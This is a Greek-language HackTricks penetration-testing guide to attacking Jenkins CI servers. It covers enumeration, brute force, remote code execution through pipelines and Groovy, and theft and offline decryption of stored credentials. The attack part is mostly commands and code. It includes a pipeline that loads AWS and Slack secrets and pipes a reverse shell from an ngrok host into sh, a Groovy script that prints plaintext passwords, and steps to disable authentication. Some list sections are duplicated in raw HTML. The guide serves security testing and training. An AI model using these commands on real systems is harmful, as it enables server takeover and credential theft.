Jenkins Security

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το Jenkins είναι ένα εργαλείο που προσφέρει μια απλή μέθοδο για τη δημιουργία ενός περιβάλλοντος συνεχούς ενσωμάτωσης ή συνεχούς παράδοσης (CI/CD) για σχεδόν οποιαδήποτε συνδυασμός γλωσσών προγραμματισμού και αποθετηρίων κώδικα χρησιμοποιώντας αγωγούς (pipelines). Επιπλέον, αυτοματοποιεί διάφορες καθημερινές αναπτυξιακές εργασίες. Αν και το Jenkins δεν εξαλείφει την ανάγκη δημιουργίας σεναρίων για κάθε βήμα, παρέχει έναν πιο γρήγορο και αξιόπιστο τρόπο για την ενσωμάτωση ολόκληρης της ακολουθίας εργαλείων κατασκευής, δοκιμής και αναπτυξιακών εργαλείων από αυτόν που μπορεί κανείς να κατασκευάσει εύκολα με το χέρι.

pageBasic Jenkins Information

Μη εξουσιοδοτημένη Απαρίθμηση

Για να αναζητήσετε ενδιαφέρουσες σελίδες Jenkins χωρίς πιστοποίηση όπως (/people ή /asynchPeople, που αναφέρει τους τρέχοντες χρήστες) μπορείτε να χρησιμοποιήσετε:

msf> use auxiliary/scanner/http/jenkins_enum

Ελέγξτε εάν μπορείτε να εκτελέσετε εντολές χωρίς να χρειάζεται επαλήθευση ταυτότητας:

msf> use auxiliary/scanner/http/jenkins_command

Χωρίς διαπιστευτήρια μπορείτε να κοιτάξετε μέσα στη διαδρομή /asynchPeople/ ή /securityRealm/user/admin/search/index?q= για ονόματα χρηστών.

Μπορείτε να πάρετε την έκδοση του Jenkins από τη διαδρομή /oops ή /error

Γνωστές Ευπάθειες

Σύνδεση

Στις βασικές πληροφορίες μπορείτε να ελέγξετε όλους τους τρόπους για να συνδεθείτε στο Jenkins:

pageBasic Jenkins Information

Εγγραφή

Θα μπορείτε να βρείτε περιπτώσεις Jenkins που σας επιτρέπουν να δημιουργήσετε ένα λογαριασμό και να συνδεθείτε μέσα σε αυτό. Τόσο απλά.

SSO Σύνδεση

Επίσης, αν υπήρχε λειτουργία SSO/plugins, θα πρέπει να προσπαθήσετε να συνδεθείτε στην εφαρμογή χρησιμοποιώντας έναν δοκιμαστικό λογαριασμό (π.χ., έναν δοκιμαστικό λογαριασμό Github/Bitbucket). Κόλπο από εδώ.

Βίαιη Δοκιμή

Το Jenkins δεν έχει πολιτική κωδικού πρόσβασης και προστασία από βίαιη δοκιμή ονομάτων χρηστών. Είναι απαραίτητο να δοκιμάσετε βίαια τους χρήστες, καθώς μπορεί να χρησιμοποιούνται αδύναμοι κωδικοί πρόσβασης ή ονόματα χρηστών ως κωδικοί πρόσβασης, ακόμη και αντιστραμμένα ονόματα χρηστών ως κωδικοί πρόσβασης.

msf> use auxiliary/scanner/http/jenkins_login

Επίθεση με password spraying

Χρησιμοποιήστε αυτό το python script ή αυτό το powershell script.

Παράκαμψη IP Whitelisting

Πολλές οργανώσεις συνδυάζουν SaaS-based συστήματα διαχείρισης πηγαίου κώδικα (SCM) όπως το GitHub ή το GitLab με μια εσωτερική, αυτο-φιλοξενούμενη CI λύση όπως το Jenkins ή το TeamCity. Αυτή η ρύθμιση επιτρέπει στα CI συστήματα να λαμβάνουν webhook events από προμηθευτές SaaS πηγαίου κώδικα, κυρίως για την ενεργοποίηση των pipeline jobs.

Για να επιτευχθεί αυτό, οι οργανώσεις επιτρέπουν τις IP εύρους των πλατφορμών SCM, επιτρέποντάς τους να έχουν πρόσβαση στο εσωτερικό σύστημα CI μέσω webhooks. Ωστόσο, είναι σημαντικό να σημειωθεί ότι οποιοσδήποτε μπορεί να δημιουργήσει έναν λογαριασμό στο GitHub ή το GitLab και να τον ρυθμίσει για να ενεργοποιήσει ένα webhook, πιθανώς αποστέλλοντας αιτήματα στο εσωτερικό σύστημα CI.

Έλεγξε: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Κατάχρηση εσωτερικού Jenkins

Σε αυτά τα σενάρια θα υποθέσουμε ότι έχετε έναν έγκυρο λογαριασμό για πρόσβαση στο Jenkins.

Ανάλογα με τον μηχανισμό Εξουσιοδότησης που έχει ρυθμιστεί στο Jenkins και την άδεια του παραβιασμένου χρήστη, ενδέχεται να μπορείτε ή όχι να πραγματοποιήσετε τις παρακάτω επιθέσεις.

Για περισσότερες πληροφορίες, ελέγξτε τις βασικές πληροφορίες:

pageBasic Jenkins Information

Λίστα χρηστών

Αν έχετε πρόσβαση στο Jenkins, μπορείτε να δείτε τους άλλους εγγεγραμμένους χρήστες στο http://127.0.0.1:8080/asynchPeople/

Αποθήκευση καταγραφών για εύρεση κειμένου σε καθαρή μορφή

Χρησιμοποιήστε αυτό το script για να αποθηκεύσετε τις καταγραφές των build και τις μεταβλητές περιβάλλοντος των build, ελπίζοντας να βρείτε κείμενο σε καθαρή μορφή.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Κλοπή διαπιστευτηρίων SSH

Εάν ο παραβιασμένος χρήστης έχει επαρκή δικαιώματα για να δημιουργήσει/τροποποιήσει έναν νέο κόμβο Jenkins και τα διαπιστευτήρια SSH έχουν ήδη αποθηκευτεί για πρόσβαση σε άλλους κόμβους, μπορεί να κλέψει αυτά τα διαπιστευτήρια δημιουργώντας/τροποποιώντας έναν κόμβο και ορίζοντας έναν κεντρικό υπολογιστή που θα καταγράψει τα διαπιστευτήρια χωρίς να επαληθεύει το κλειδί του κεντρικού υπολογιστή:

Συνήθως θα βρείτε τα διαπιστευτήρια ssh του Jenkins σε έναν παγκόσμιο πάροχο (/credentials/), οπότε μπορείτε επίσης να τα αποθηκεύσετε όπως θα αποθηκεύατε οποιοδήποτε άλλο μυστικό. Περισσότερες πληροφορίες στην ενότητα Αποθήκευση μυστικών.

RCE στο Jenkins

Η απόκτηση ενός κέλυφους στον διακομιστή Jenkins δίνει στον επιτιθέμενο τη δυνατότητα να διαρρεύσει όλα τα μυστικά και τις μεταβλητές περιβάλλοντος και να εκμεταλλευτεί άλλες μηχανές που βρίσκονται στο ίδιο δίκτυο ή ακόμα και να συλλέξει διαπιστευτήρια cloud.

Από προεπιλογή, το Jenkins θα τρέξει ως SYSTEM. Έτσι, η παραβίασή του θα δώσει στον επιτιθέμενο δικαιώματα SYSTEM.

RCE Δημιουργία/Τροποποίηση ενός έργου

Η δημιουργία/τροποποίηση ενός έργου είναι ένας τρόπος να αποκτήσετε RCE στον διακομιστή Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Εκτέλεση Groovy script

Μπορείτε επίσης να αποκτήσετε RCE εκτελώντας ένα Groovy script, το οποίο μπορεί να είναι πιο αόρατο από τη δημιουργία ενός νέου έργου:

pageJenkins RCE with Groovy Script

RCE Δημιουργία/Τροποποίηση Pipeline

Μπορείτε επίσης να αποκτήσετε RCE δημιουργώντας/τροποποιώντας ένα pipeline:

pageJenkins RCE Creating/Modifying Pipeline

Εκμετάλλευση Pipeline

Για να εκμεταλλευτείτε τα pipelines, πρέπει να έχετε πρόσβαση στο Jenkins.

Κατασκευή Pipelines

Τα pipelines μπορούν επίσης να χρησιμοποιηθούν ως μηχανισμός κατασκευής σε έργα, σε αυτήν την περίπτωση μπορεί να διαμορφωθεί ένα αρχείο μέσα στο αποθετήριο που θα περιέχει τη σύνταξη του pipeline. Από προεπιλογή χρησιμοποιείται το /Jenkinsfile:

Είναι επίσης δυνατόν να αποθηκεύσετε αρχεία διαμόρφωσης pipeline σε άλλα μέρη (σε άλλα αποθετήρια, για παράδειγμα) με σκοπό τον διαχωρισμό της πρόσβασης στο αποθετήριο και της πρόσβασης στο pipeline.

Εάν ένας επιτιθέμενος έχει δικαιώματα εγγραφής σε αυτό το αρχείο, θα μπορεί να το τροποποιήσει και ενδεχομένως να ενεργοποιήσει το pipeline χωρίς καν να έχει πρόσβαση στο Jenkins. Είναι δυνατόν ο επιτιθέμενος να χρειαστεί να παρακάμψει ορισμένες προστασίες κλαδιού (ανάλογα με την πλατφόρμα και τα δικαιώματα του χρήστη, μπορεί να παρακαμφθούν ή όχι).

Οι πιο συνηθισμένες ενέργειες για να εκτελέσετε ένα προσαρμοσμένο pipeline είναι:

  • Αίτηση ενσωμάτωσης (pull request) στο κύριο κλαδί (ή ενδεχομένως σε άλλα κλαδιά)

  • Πίεση στο κύριο κλαδί (ή ενδεχομένως σε άλλα κλαδιά)

  • Ενημέρωση του κύριου κλαδιού και αναμονή μέχρι να εκτελεστεί κάποια ενέργεια

Εάν είστε εξωτερικός χρήστης, δεν πρέπει να αναμένετε να δημιουργήσετε μια αίτηση ενσωμάτωσης στο κύριο κλαδί του αποθετηρίου ενός άλλου χρήστη/οργανισμού και να ενεργοποιήσετε το pipeline... αλλά αν είναι κακά διαμορφωμένο, μπορείτε πλήρως να παραβιάσετε εταιρείες αξιοποιώντας αυτό.

Pipeline RCE

Στην προηγούμενη ενότητα RCE αναφέρθηκε ήδη μια τεχνική για απόκτηση RCE τροποποιώντας ένα pipeline.

Έλεγχος μεταβλητών περιβάλλοντος

Είναι δυνατόν να δηλώσετε μεταβλητές περιβάλλοντος σε απλό κείμενο για ολόκληρο το pipeline ή για συγκεκριμένα στάδια. Αυτές οι μεταβλητές περιβάλλοντος δεν πρέπει να περιέχουν ευαίσθητες πληροφορίες, αλλά ένας επιτιθέμενος μπορεί πάντα να ελέγξει όλες τις διαμορφώσεις/αρχεία Jenkins του pipeline:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Διαρροή μυστικών

Για πληροφορίες σχετικά με το πώς χειρίζεται συνήθως τα μυστικά το Jenkins, ανατρέξτε στις βασικές πληροφορίες:

pageBasic Jenkins Information

Οι διαπιστευτήρια μπορούν να είναι περιορισμένα σε παγκόσμιους παρόχους (/credentials/) ή σε συγκεκριμένα έργα (/job/<project-name>/configure). Επομένως, για να αποκτήσετε πρόσβαση σε όλα τα μυστικά, πρέπει να παραβιάσετε τουλάχιστον όλα τα έργα που περιέχουν μυστικά και να εκτελέσετε προσαρμοσμένες/μολυσμένες αγωγές.

Υπάρχει ένα άλλο πρόβλημα, για να αποκτήσετε ένα μυστικό μέσα στο περιβάλλον ενός αγωγού, πρέπει να γνωρίζετε το όνομα και τον τύπο του μυστικού. Για παράδειγμα, αν προσπαθήσετε να φορτώσετε ένα μυστικό usernamePassword ως ένα μυστικό τύπου string, θα λάβετε αυτό το σφάλμα:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Εδώ έχετε τον τρόπο για να φορτώσετε μερικούς κοινούς τύπους μυστικών:

- **Username and Password**: Χρησιμοποιήστε το πρόσθετο `Credentials Binding Plugin` για να αποθηκεύσετε το όνομα χρήστη και τον κωδικό πρόσβασης ως μυστικά παραμέτρους.
- **API Keys**: Χρησιμοποιήστε το πρόσθετο `Credentials Plugin` για να αποθηκεύσετε τα κλειδιά API ως μυστικές παραμέτρους.
- **SSH Keys**: Χρησιμοποιήστε το πρόσθετο `SSH Agent Plugin` για να φορτώσετε τα κλειδιά SSH από ένα αποθηκευτή μυστικών.
- **Certificates**: Χρησιμοποιήστε το πρόσθετο `Credentials Plugin` για να φορτώσετε πιστοποιητικά από ένα αποθηκευτή μυστικών.
- **Environment Variables**: Χρησιμοποιήστε το πρόσθετο `EnvInject Plugin` για να ορίσετε μεταβλητές περιβάλλοντος ως μυστικές παραμέτρους.

Εδώ έχετε τον τρόπο για να φορτώσετε μερικούς κοινούς τύπους μυστικών:

<ul>
<li><strong>Username and Password</strong>: Χρησιμοποιήστε το πρόσθετο <code>Credentials Binding Plugin</code> για να αποθηκεύσετε το όνομα χρήστη και τον κωδικό πρόσβασης ως μυστικά παραμέτρους.</li>
<li><strong>API Keys</strong>: Χρησιμοποιήστε το πρόσθετο <code>Credentials Plugin</code> για να αποθηκεύσετε τα κλειδιά API ως μυστικές παραμέτρους.</li>
<li><strong>SSH Keys</strong>: Χρησιμοποιήστε το πρόσθετο <code>SSH Agent Plugin</code> για να φορτώσετε τα κλειδιά SSH από ένα αποθηκευτή μυστικών.</li>
<li><strong>Certificates</strong>: Χρησιμοποιήστε το πρόσθετο <code>Credentials Plugin</code> για να φορτώσετε πιστοποιητικά από ένα αποθηκευτή μυστικών.</li>
<li><strong>Environment Variables</strong>: Χρησιμοποιήστε το πρόσθετο <code>EnvInject Plugin</code> για να ορίσετε μεταβλητές περιβάλλοντος ως μυστικές παραμέτρους.</li>
</ul>
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Στο τέλος αυτής της σελίδας μπορείτε να βρείτε όλους τους τύπους διαπιστευτηρίων: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Ο καλύτερος τρόπος για να αποκτήσετε όλα τα μυστικά μαζί είναι να παραβιάσετε τη μηχανή Jenkins (τρέχοντας ένα αντίστροφο κέλυφος στον ενσωματωμένο κόμβο για παράδειγμα) και στη συνέχεια να διαρρεύσετε τα κλειδιά του διαχειριστή και τα κρυπτογραφημένα μυστικά και να τα αποκρυπτογραφήσετε εκτός σύνδεσης. Περισσότερα για το πώς να το κάνετε αυτό στην ενότητα Κόμβοι και Πράκτορες και στην ενότητα Μετά την Εκμετάλλευση.

Ενεργοποιητές

Από την τεκμηρίωση: Η οδηγία triggers καθορίζει τους αυτοματοποιημένους τρόπους με τους οποίους θα επανεκκινηθεί η Σειρά Ενεργειών. Για Σειρές Ενεργειών που είναι ενσωματωμένες με μια πηγή όπως το GitHub ή το BitBucket, οι triggers μπορεί να μην είναι απαραίτητοι καθώς η ενσωμάτωση βασισμένη σε webhooks θα είναι ήδη παρούσα. Οι διαθέσιμοι ενεργοποιητές αυτή τη στιγμή είναι οι cron, pollSCM και upstream.

Παράδειγμα cron:

triggers { cron('H */4 * * 1-5') }

Ελέγξτε άλλα παραδείγματα στα έγγραφα.

Κόμβοι και Πράκτορες

Ένα παράδειγμα Jenkins μπορεί να έχει διάφορους πράκτορες που τρέχουν σε διάφορες μηχανές. Από την οπτική γωνία ενός επιτιθέμενου, η πρόσβαση σε διάφορες μηχανές σημαίνει διαφορετικές δυνατότητες κλειδιών πρόσβασης στο cloud που μπορούν να κλαπούν ή διαφορετική πρόσβαση στο δίκτυο που μπορεί να καταχραστεί για εκμετάλλευση άλλων μηχανών.

Για περισσότερες πληροφορίες, ελέγξτε τις βασικές πληροφορίες:

pageBasic Jenkins Information

Μπορείτε να απαριθμήσετε τους διαμορφωμένους κόμβους στο /computer/, συνήθως θα βρείτε τον Built-In Node (που είναι ο κόμβος που εκτελεί το Jenkins) και πιθανώς και άλλους:

Είναι ιδιαίτερα ενδιαφέρον να παραβιάσετε τον ενσωματωμένο κόμβο επειδή περιέχει ευαίσθητες πληροφορίες του Jenkins.

Για να υποδείξετε ότι θέλετε να εκτελέσετε τη διαδικασία στον ενσωματωμένο κόμβο του Jenkins, μπορείτε να καθορίσετε μέσα στη διαδικασία την ακόλουθη διαμόρφωση:

pipeline {
agent {label 'built-in'}

Πλήρης παράδειγμα

Αγωγή σε ένα συγκεκριμένο πράκτορα, με έναν προγραμματισμένο χρονοδιακόπτη, με μεταβλητές περιβάλλοντος αγωγής και σταδίου, φόρτωση 2 μεταβλητών σε ένα βήμα και αποστολή αντίστροφου κελύφους:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Ο Metasploit είναι ένα εργαλείο ανοικτού κώδικα που χρησιμοποιείται για εκμετάλλευση ευπαθειών σε συστήματα υπολογιστών. Μπορεί να χρησιμοποιηθεί για να εκτελέσει επιθέσεις μετά την εκμετάλλευση, όπως η λήψη ελέγχου του συστήματος, η προσθήκη χρηστών, η κατάκτηση προνομίων και η συλλογή πληροφοριών από τον στόχο. Ο Metasploit παρέχει ένα ευέλικτο περιβάλλον για την εκτέλεση επιθέσεων και την ανάπτυξη εξατομικευμένων επιθέσεων. Μπορεί να χρησιμοποιηθεί είτε από τη γραμμή εντολών είτε μέσω του γραφικού περιβάλλοντος Armitage.

msf> post/multi/gather/jenkins_gather

Μυστικά του Jenkins

Μπορείτε να καταλογογραφήσετε τα μυστικά προσπελαύνοντας το /credentials/ αν έχετε αρκετές άδειες. Σημειώστε ότι αυτό θα καταλογογραφήσει μόνο τα μυστικά μέσα στο αρχείο credentials.xml, αλλά τα αρχεία διαμόρφωσης της διαδικασίας κατασκευής μπορεί επίσης να έχουν περισσότερα μυστικά.

Αν μπορείτε να δείτε τη διαμόρφωση κάθε έργου, μπορείτε επίσης να δείτε εκεί τα ονόματα των μυστικών (μυστικά) που χρησιμοποιούνται για την πρόσβαση στο αποθετήριο και άλλα μυστικά του έργου.

Από Groovy

pageJenkins Dumping Secrets from Groovy

Από τον δίσκο

Αυτά τα αρχεία απαιτούνται για την αποκρυπτογράφηση των μυστικών του Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Τέτοια μυστικά συνήθως μπορούν να βρεθούν στα:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Εδώ υπάρχει ένας κανόνας για να τα βρείτε:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Αποκρυπτογράφηση μυστικών του Jenkins εκτός σύνδεσης

Εάν έχετε αντιγράψει τους απαραίτητους κωδικούς για την αποκρυπτογράφηση των μυστικών, χρησιμοποιήστε αυτό το σενάριο για να αποκρυπτογραφήσετε αυτά τα μυστικά.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Αποκρυπτογράφηση μυστικών του Jenkins από το Groovy

Για να αποκρυπτογραφήσετε τα μυστικά του Jenkins από το Groovy, μπορείτε να χρησιμοποιήσετε την ακόλουθη μέθοδο:

import jenkins.security.*

def credentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials.class,
    Jenkins.instance
)

credentials.each { credential ->
    if (credential instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
        def secret = com.cloudbees.plugins.credentials.CredentialsProvider
            .findCredentialById(credential.id)
            .getSecret()

        println("Username: ${credential.username}")
        println("Password: ${secret.getPlainText()}")
    }
}

Αυτός ο κώδικας χρησιμοποιεί την κλάση CredentialsProvider για να αναζητήσει και να αποκτήσει πρόσβαση στα μυστικά του Jenkins. Στη συνέχεια, ελέγχει αν το μυστικό είναι τύπου UsernamePasswordCredentialsImpl και αποκτά τον κωδικό πρόσβασης από αυτό.

Για να εκτελέσετε αυτόν τον κώδικα, μπορείτε να τον προσθέσετε σε ένα script στο Jenkins ή να τον εκτελέσετε από το Groovy Console Plugin. Με αυτόν τον τρόπο, θα μπορέσετε να αποκτήσετε πρόσβαση στα μυστικά του Jenkins και να τα αποκρυπτογραφήσετε για περαιτέρω ανάλυση ή χρήση.

println(hudson.util.Secret.decrypt("{...}"))

Δημιουργία νέου διαχειριστή χρήστη

  1. Αποκτήστε πρόσβαση στο αρχείο config.xml του Jenkins στη διαδρομή /var/lib/jenkins/config.xml ή C:\Program Files (x86)\Jenkis\.

  2. Αναζητήστε τη λέξη <useSecurity>true</useSecurity> και αλλάξτε τη λέξη true σε false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Επανεκκινήστε τον διακομιστή Jenkins: service jenkins restart

  5. Τώρα πηγαίνετε ξανά στην πύλη του Jenkins και αυτή τη φορά ο Jenkins δεν θα ζητήσει κανένα διαπιστευτήριο. Μεταβείτε στην επιλογή "Διαχείριση Jenkins" για να ορίσετε ξανά τον κωδικό διαχειριστή.

  6. Ενεργοποιήστε ξανά την ασφάλεια αλλάζοντας τις ρυθμίσεις σε <useSecurity>true</useSecurity> και επανεκκινήστε ξανά τον Jenkins.

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated